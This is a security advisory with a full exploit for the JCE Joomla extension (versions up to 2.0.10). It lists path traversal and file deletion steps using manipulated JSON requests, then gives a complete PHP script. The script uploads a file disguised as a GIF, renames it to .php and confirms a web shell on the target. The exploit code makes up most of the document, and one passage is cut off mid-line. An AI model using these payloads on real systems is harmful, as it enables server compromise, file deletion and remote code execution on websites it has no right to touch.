JCE Joomla Extension Remote File Upload

########################## www.BugReport.ir ####################################### # # AmnPardaz Security Research Team # # Title: JCE Joomla Extension <=2.0.10 Multiple Vulnerabilities # Vendor: www.joomlacontenteditor.net # Exploit: Available # Vulnerable Version: 2.0.10 (Image Manager 1.5.7.13, Media Manager 1.5.6.3, Template Manager 1.5.5, File Manager 1.5.4.1 & prior versions also may be affected) # Impact: High # Original Advisory: http://www.bugreport.ir/index_78.htm # Fix: N/A ################################################################################### #################### 1. Description: #################### JCE is an extension for Joomla!, that provides you with a set of wysiwyg editor tools that makes the job of writing articles for your Joomla! site a little bit easier. In a nutshell, it provides access to many of the features you may be used to using in Word or OpenOffice etc. #################### 2. Vulnerabilities: #################### 2.1. Path Traversal Flaws. Path Traversal in "Image Manager", "Media Manager", "Template Manager" and "File Manager" section. 2.1.1. Exploit: Check the exploit/POC section. 2.2. Path Manipulation Flaws. Path Manipulation in "Image Manager", "Media Manager", "Template Manager", "File Manager" section. Attackers can delete any file or upload files to all the directories of the server. 2.2.1. Exploit: Check the exploit/POC section. 2.3. Unsafe function Flaws. Attackers can use unsafe function called "folderRename" for changing Image type extension (.jpg, .gif, .png & etc.) to any extension like .htaccess or .php in "Image Manager", "Media Manager", "Template Manager" and "File Manager" section. 2.3.1. Exploit: Check the exploit/POC section. #################### 3. Exploits/PoCs: #################### Original Exploit URL: http://www.bugreport.ir/78/exploit.htm 3.1. Path Traversal Flaws. Path Traversal in "Image Manager", "Media Manager", "Template Manager" and "File Manager" section. ------------- Path Traversal and see all directories: Step 1 +--> Click on root (left bar) Step 2 +--> Use Proxy (like burp) for changing path: json={"fn":"getItems","args":["/","all",0,""]} to json={"fn":"getItems","args":["../../","all",0,""]} ------------- 3.2. Path Manipulation Flaws. Path Manipulation in "Image Manager", "Media Manager", "Template Manager", "File Manager" section. Attackers can delete any file or upload files to all the directories of the server. ------------- For uploading file: Step 1 +--> Upload a file with image type extension like azizi.jpg Step 2 +--> Click on root (left bar) Step 3 +--> Use Proxy (like burp) and change "json" parameter to json={"fn":"fileCopy","args":["/azizi.jpg","../../"]} Now azizi.jpg copied to root directory. For deleting file: Step 1 +--> Click on root (left bar) Step 2 +--> Use Proxy (like burp) and change "json" parameter to json={"fn":"fileDelete","args":"../../index.php"} Now index.php has been deleted. ------------- 3.3. Unsafe function Flaws. Attackers can use unsafe function for changing Image type extension (.jpg, .gif, .png & etc.) to any extension like .htaccess or .php in "Image Manager", "Media Manager", "Template Manager" and "File Manager" section. ------------- For uploading file with executable extension: Step 1 +--> Upload a file with image type extension like azizi.jpg Step 2 +--> Click on root (left bar) Step 3 +--> Use Proxy (like burp) and change "json" p 7.5 # Coded By: Mostafa Azizi ################################################################################################### error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo' JCE Joomla Extension Remote File Upload

'; function sendpacket($packet,$response = 0,$output = 0,$s=0) { $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; global $proxy, $host, $port, $html, $user, $pass; if ($proxy == '') { $ock = fsockopen($host,$port); stream_set_timeout($ock, 5); if (!$ock) { echo ' No response from '.htmlentities($host).' ...
'; die; } } else { $parts = explode(':',$proxy); echo 'Connecting to proxy: '.$parts[0].':'.$parts[1].' ...

'; $ock = fsockopen($parts[0],$parts[1]); stream_set_timeout($ock, 5); if (!$ock) { echo 'No response from proxy...
'; die; } } fputs($ock,$packet); if ($response == 1) { if ($proxy == '') { $html = ''; while (!feof($ock)) { $html .= fgets($ock); } } else { $html = ''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html .= fread($ock,1); } } } else $html = ''; fclose($ock); if ($response == 1 && $output == 1) echo nl2br(htmlentities($html)); if ($s==1){ $count=0; $res=nl2br(htmlentities($html)); $str = array('2.0.11Target patched.

"; die(); } } if ($count=10) echo 'Target is exploitable.

'; } } $host = $_POST['host']; $path = $_POST['path']; $port = $_POST['port']; $proxy = $_POST['proxy']; if (isset($_POST['Submit']) && $host != '' && $path != '') { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("\r\n","",$host); $path=str_replace("\r\n","",$path); /* Packet 1 --> Checking Exploitability */ $packet = "GET ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n"; sendpacket($packet,1,0,1); /* Packet 2 --> Uploading shell as a gif file */ $content = "GIF89a1\n"; $content .= file_get_contents($_FILES['datafile']['tmp_name']); $data = "-----------------------------41184676334\r\n"; $data .= "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n"; $data .= "/\r\n"; $data .= "-----------------------------41184676334\r\n"; $data .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"\"\r\n"; $data .= "Content-Type: application/octet-stream\r\n\r\n\r\n"; $data .= "-----------------------------41184676334\r\n"; $data .= "Content-Disposition: form-data; name=\"upload-overwrite\"\r\n\r\n"; $data .= "0\r\n"; $data .= "-----------------------------41184676334\r\n"; $data .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"0day.gif\"\r\n"; $data .= "Content-Type: image/gif\r\n\r\n"; $data .= "$content\r\n"; $data .= "-----------------------------41184676334\r\n"; $data .= "0day\r\n"; $data .= "-----------------------------41184676334\r\n"; $data .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n"; $data .= "upload\r\n"; $data .= "-----------------------------41184676334--\r\n\r\n\r\n\r\n"; $packet = "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "User-Agent: BOT/0.1 (BOT for JCE)\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n"; $packet .= "Accept-Language: en-us,en;q=0.5\r\n"; $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"; $packet .= "Cookie: 6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743; jce_imgmanager_dir=%2F; __utma=216871948.2116932307.1317632284.1317632284.1317632284.1; __utmb=216871948.1.10.1317632284; __utmc=216871948; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\n"; $packet .= "Connection: Close\r\n"; $packet .= "Proxy-Connection: close\r\n"; $packet .= "Content-Length: ".strlen($data)."\r\n\r\n\r\n\r\n"; $packet .= $data; sendpacket($packet,0,0,0); /* Packet 3 --> Change Extension from .gif to .php */ $packet = "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n"; $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $packet .= "Accept-Language: en-US,en;q=0.8\r\n"; $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n"; $packet .= "Accept-Encoding: deflate\n"; $packet .= "X-Request: JSON\r\n"; $packet .= "Cookie: __utma=216871948.2116932307.1317632284.1317639575.1317734968.3; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=216871948.20.10.1317734968; __utmc=216871948; jce_imgmanager_dir=%2F; 6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n"; $ren ="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"0day.php\"]}"; $packet .= "Content-Length: ".strlen($ren)."\r\n\r\n"; $packet .= $ren."\r\n\r\n"; sendpacket($packet,1,0,0); /* Packet 4 --> Check for successfully uploaded */ $packet = "Head ".$p."/images/stories/0day.php HTTP/1.1\r\n"; $packet .= "Host: ".$host."\r\n"; $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n"; sendpacket($packet,1,0,0); if(stristr($html , '200 OK') != true) {echo "Exploit Faild...";} else echo "Exploit Succeeded...
http://$host:$port$path"."/images/stories/0day.php"; } ?> #################### 4. Solution: #################### Restricting and granting only trusted users having access to resources and wait for vender patch. #################### 5. Credit: #################### AmnPardaz Security Research & Penetration Testing Group Contact: admin[4t}bugreport{d0t]ir www.BugReport.ir www.AmnPardaz.com

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